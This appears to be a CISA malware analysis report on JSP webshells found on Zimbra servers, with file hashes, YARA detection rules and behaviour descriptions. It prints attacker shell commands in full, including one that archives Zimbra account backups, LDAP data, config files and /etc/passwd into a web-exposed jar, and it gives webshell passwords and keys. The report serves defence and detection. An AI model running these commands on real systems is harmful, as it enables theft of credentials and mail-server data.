MAR-10400779-1.v1 – Zimbra 1

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received seven files for analysis. Six Java Server Pages (JSP) webshells and a Bourne Again SHell (bash) file. Five JSP webshell files are designed to parse inbound requests for commands for execution, download files, and upload files. One JSP webshell file contains a form with input fields that prompts the attacker to enter the command in the input box and click "run" to execute. The command output will be displayed in a JSP page. The bash file is designed to perform ldapsearch queries and store the output into a newly created directory.

Download the STIX version of this report: MAR-10400779.r1.v1.WHITE_stix, 1.3 MB

Submitted Files (7)

28b7896bf81c5bcbe63c59ee7bfce3893894d93699949f59884834077694bd52 (TasksTtt.jsp)

6dee4a1d4ac6b969b1f817e36cb5d36c5de84aa8fe512f3b6e7de80a2310caea (DatatypeConverter.jsp)

9d2a842e7a39358adc68311dcc0bc550ba375eae7513a3d4de326e948d09c245 (test.jsp)

c24ead55e58422365f034d173bb0415c16be78928b2843ef8f6f62feb15e1553 (xjhdshd.jsp)

c602db153f48ab6580e5e85925677780c3d5a483c66c392a8ab8265aa108a409 (security.jsp)

c8c1a0fae73b578480b15ff552499c271a1b49f7af2fb9fc7f8adaa4e984f614 (test2.jsp)

d335d7e3a0ac77e132e9ea839591fa81f67cd8eef136ec6586a1d6b1f29e18f1 (test.sh)

c602db153f48ab6580e5e85925677780c3d5a483c66c392a8ab8265aa108a409

Tags

trojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10400779_01 : trojan webshell GODZILLA
  {
     meta:
         Author = "CISA Code & Media Analysis"
         Incident = "10400779"
         Date = "2022-08-29"
         Last_Modified = "20220908_1400"
         Actor = "n/a"
         Category = "Trojan Webshell"
         Family = "GODZILLA"
         Description = "Detects Godzilla webshell samples"
         MD5 = "2847c3be246be1dfd49789ebbffd5553"
         SHA256 = "c602db153f48ab6580e5e85925677780c3d5a483c66c392a8ab8265aa108a409"
     strings:
         $s0 = { 53 74 72 69 6E 67 20 78 63 }
         $s1 = { 53 74 72 69 6E 67 20 70 61 73 73 }
         $s2 = { 6D 64 35 28 70 61 73 73 2B 78 63 29 }
         $s3 = { 43 6C 61 73 73 4C 6F 61 64 65 72 }
         $s4 = { 53 65 63 72 65 74 4B 65 79 53 70 65 63 }
         $s5 = { 4D 65 73 73 61 67 65 44 69 67 65 73 74 }
         $s6 = { 62 61 73 65 36 34 }
         $s7 = { 72 65 71 75 65 73 74 2E 67 65 74 50 61 72 61 6D 65 74 65 72 }
         $s8 = { 73 65 73 73 69 6F 6E 2E 73 65 74 41 74 74 72 69 62 75 74 65 }
     condition:
         filesize < 10KB and all of them
  }

ssdeep Matches

No matches found.

Description

This file is a JSP webshell and has also been identified as a Godzilla webshell. When the webshell is loaded, it parses the inbound request for the parameter named "pass". If the parameter is found in the request, it retrieves the value data (attack payload/command’s functional code) of the parameter and Base64 decodes it. The decoded data is decrypted a hard-coded Advanced Encryption Standard (AES) cipher. The AES decryption and encryption key is the hard-coded key value "3c6e0b8a9c15224a", which is the first 16 characters of the MD5 hash for the word "key".

The malware checks if the session used to store the decrypted data is empty. If it is empty, it stores the decrypted data in the session and uses the classloader to load the decrypted byte-code data. If it is not empty and there is an initialized payload, it will call the payload specific function. It assigns the decrypted data to a parameter and stores it into ByteArrayOutputStream and pageContext.

The content of the decrypted data will be executed to perform additional functions. The output of the command executed is AES encrypted and Base64 encoded before being sent to the Godzilla's server in an Hypertext Transfer Protocol (HTTP) response.

Screenshots

28b7896bf81c5bcbe63c59ee7bfce3893894d93699949f59884834077694bd52

Tags

utility

Details

Antivirus

YARA Rules

• rule CISA_10400779_02 : utility ZIMBRA
  {
     meta:
         Author = "CISA Code & Media Analysis"
         Incident = "10400779"
         Date = "2022-08-29"
         Last_Modified = "20220908_1400"
         Actor = "n/a"
         Category = "Utility"
         Family = "ZIMBRA"
         Description = "Detects malicious JSP Zimbra samples"
         MD5 = "36cfcfb4e6988caf8e449a7f26c92eae"
         SHA256 = "28b7896bf81c5bcbe63c59ee7bfce3893894d93699949f59884834077694bd52"
     strings:
         $s0 = { 2F 62 69 6E 2F 73 68 }
         $s1 = { 22 72 6D 20 2D 72 66 }
         $s2 = { 2F 76 61 72 2F 74 6D 70 2F 74 6D 70 2E 6A 61 72 }
         $s3 = { 74 61 72 20 63 7A 66 }
         $s4 = { 61 63 63 6F 75 6E 74 73 2E 78 6D 6C }
         $s5 = { 6C 6F 63 61 6C 63 6F 6E 66 69 67 2E 78 6D 6C }
         $s6 = { 2E 65 78 65 63 28 63 31 }
         $s7 = { 2E 65 78 65 63 28 63 32 }
         $s8 = { 2E 65 78 65 63 28 63 33 }
     condition:
         filesize < 10KB and all of them
  }

ssdeep Matches

No matches found.

Description

This file is a JSP file designed to use a shell command to remove an existing Java ARchive (jar) file "/var/tmp/tmp.jar", create a new tar archive file /var/tmp/tmp.jar", and then create a symbolic link to the jar file.

Displayed below is the shell command used to remove the file "/var/tmp/tmp.jar":

--Begin command--
"sh -c rm -rf /var/tmp/tmp.jar"
--End command--

Displayed below is the shell command used to combine and group the files below into a single archive file "/var/tmp/tmp.jar"

--Begin command--
"sh -c tar czf /var/tmp/tmp.jar /opt/zimbra/backup/accounts.xml /opt/zimbra/backup/accounts.xml.old /opt/zimbra/data/ldap/config /opt/zimbra/data/ldap/ldap* /var/log/zimbra.log /opt/zimbra/jetty_base/webapps/zimbra/public/ /opt/zimbra/jetty_base/webapps/zimbraAdmin/public/ /tmp/ldap/ /etc/hosts /etc/passwd /opt/zimbra/conf/localconfig.xml"
--End command--

Displayed below is the shell command used to create a symbolic link in "/opt/zimbra/jetty_base/webapps/zimbra/public/tmp.jar" to the file "/var/tmp/tmp.jar":

--Begin command--
"sh -c ln -s /var/tmp/tmp.jar /opt/zimbra/jetty_base/webapps/zimbra/public/tmp.jar"
--End command--

Screenshots

c8c1a0fae73b578480b15ff552499c271a1b49f7af2fb9fc7f8adaa4e984f614

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10400779_03 : trojan webshell backdoor
  {
     meta:
         Author = "CISA Code & Media Analysis"
         Incident = "10400779"
         Date = "2022-08-29"
         Last_Modified = "20220908_1400"
         Actor = "n/a"
         Category = "Trojan Webshell Backdoor"
         Family = "n/a"
         Description = "Detects malicious password protected JSP webshell samples"
         MD5 = "0751fbc32ada4ded129a15a0d1ea0459"
         SHA256 = "c8c1a0fae73b578480b15ff552499c271a1b49f7af2fb9fc7f8adaa4e984f614"
     strings:
         $s0 = { 2E 65 71 75 61 6C 73 }
         $s1 = { 67 65 74 50 61 72 61 6D 65 74 65 72 28 22 70 77 64 22 29 }
         $s2 = { 2E 65 78 65 63 28 72 65 71 75 65 73 74 2E 67 65 74 50 61 72 61 6D 65 74 65 72 }
         $s3 = { 2E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D }
         $s4 = { 6F 75 74 2E 70 72 69 6E 74 28 }
         $s5 = { 3C 70 72 65 3E }
         $s6 = { 3C 2F 70 72 65 3E }
     condition:
         filesize < 10KB and all of them
  }

ssdeep Matches

No matches found.

Description

This file is a password protected JSP webshell designed to retrieve and execute certain parameters from the attacker. When the attacker makes a request to the malicious JSP file along with certain parameters, it checks if the password supplied by the attacker through the "pwd" parameter is equals to "123456". If the password is correct, it executes the command supplied by the attacker through the "i" parameter and outputs the command executed in the console.

Screenshots

c24ead55e58422365f034d173bb0415c16be78928b2843ef8f6f62feb15e1553

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

• rule CISA_10400779_04 : trojan webshell backdoor
  {
     meta:
         Author = "CISA Code & Media Analysis"
         Incident = "10400779"
         Date = "2022-08-29"
         Last_Modified = "20220908_1400"
         Actor = "n/a"
         Category = "Trojan Webshell Backdoor"
         Family = "n/a"
         Description = "Detects malicious JSP webshell samples"
         MD5 = "e146561122214f67eb35c52758a21fa5"
         SHA256 = "c24ead55e58422365f034d173bb0415c16be78928b2843ef8f6f62feb15e1553"
     strings:
         $s0 = { 49 4E 50 55 54 20 6E 61 6D 65 }
         $s1 = { 63 6D 64 }
         $s2 = { 73 75 62 6D 69 74 20 76 61 6C 75 65 }
         $s3 = { 52 75 6E }
         $s4 = { 53 74 72 69 6E 67 20 63 6D 64 }
         $s5 = { 67 65 74 50 61 72 61 6D 65 74 65 72 }
         $s6 = { 53 74 72 69 6E 67 20 6F 75 74 70 75 74 }
         $s7 = { 65 78 65 63 28 63 6D 64 }
         $s8 = { 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D }
         $s9 = { 73 2B 22 3C 2F 62 72 3E 22 }
         $s10 = { 70 72 69 6E 74 53 74 61 63 6B 54 72 61 63 65 }
     condition:
         filesize < 10KB and all of them
  }

ssdeep Matches

No matches found.

Description

This file is a JSP webshell designed to allow an attacker to execute commands and read the output of the commands. When executed, it prompts the attacker to enter the command in the input box and click "run" to execute. The command output will be displayed in the JSP page.

Screenshots

9d2a842e7a39358adc68311dcc0bc550ba375eae7513a3d4de326e948d09c245

Tags

utility

Details

Antivirus

No matches found.

YARA Rules

• rule CISA_10400779_05 : utility webshell ZIMBRA
  {
     meta:
         Author = "CISA Code & Media Analysis"
         Incident = "10400779"
         Date = "2022-08-29"
         Last_Modified = "20220908_1400"
         Actor = "n/a"
         Category = "Utility Webshell"
         Family = "ZIMBRA"
         Description = "Detects malicious JSP webshell samples"
         MD5 = "55e51e8ceda717813a5223a8c99a8830"
         SHA256 = "9d2a842e7a39358adc68311dcc0bc550ba375eae7513a3d4de326e948d09c245"
     strings:
         $s0 = { 2f 6f 70 74 2f 7a 69 6d 62 72 61 2f 6a 65 74 74 79 2f 77 65 62 61 70 70 73 2f 7a 69 6d 62 72 61 41 64 6d 69 6e 2f 70 75 62 6c 69 63 2f 74 65 73 74 2e 73 68 }
         $s1 = { 2E 65 78 65 63 28 }
         $s2 = { 5A 69 70 4F 75 74 70 75 74 53 74 72 65 61 6D }
         $s3 = { 67 65 74 50 61 72 61 6D 65 74 65 72 }
         $s4 = { 22 61 63 74 69 6F 6E 22 }
         $s5 = { 22 65 78 65 63 22 2E }
         $s6 = { 70 72 69 6E 74 6C 6E 28 65 78 65 63 }
         $s7 = { 22 64 6F 77 6E 22 2E }
         $s8 = { 43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E }
         $s9 = { 61 74 74 61 63 68 6D 65 6E 74 }
         $s10 = { 67 65 74 4F 75 74 70 75 74 53 74 72 65 61 6D }
         $s11 = { 70 61 67 65 43 6F 6E 74 65 78 74 2E }
         $s12 = { 6F 75 74 2E 70 72 69 6E 74 6C 6E 28 22 6E 6F 22 29 }
     condition:
         filesize < 10KB and all of them
  }

ssdeep Matches

No matches found.

Relationships

Description

This file is a JSP webshell designed to retrieve and execute certain parameters from the attacker. The attacker can make a request to the malicious JSP file along with certain parameters to execute commands and output to console, download files, and zip compress files into "/tmp/zimbra/". It executes the file "/opt/zimbra/jetty/webapps/zimbraAdmin/public/test.sh" (ab28345b8aba13ae82f8bc0694f15804).

Screenshots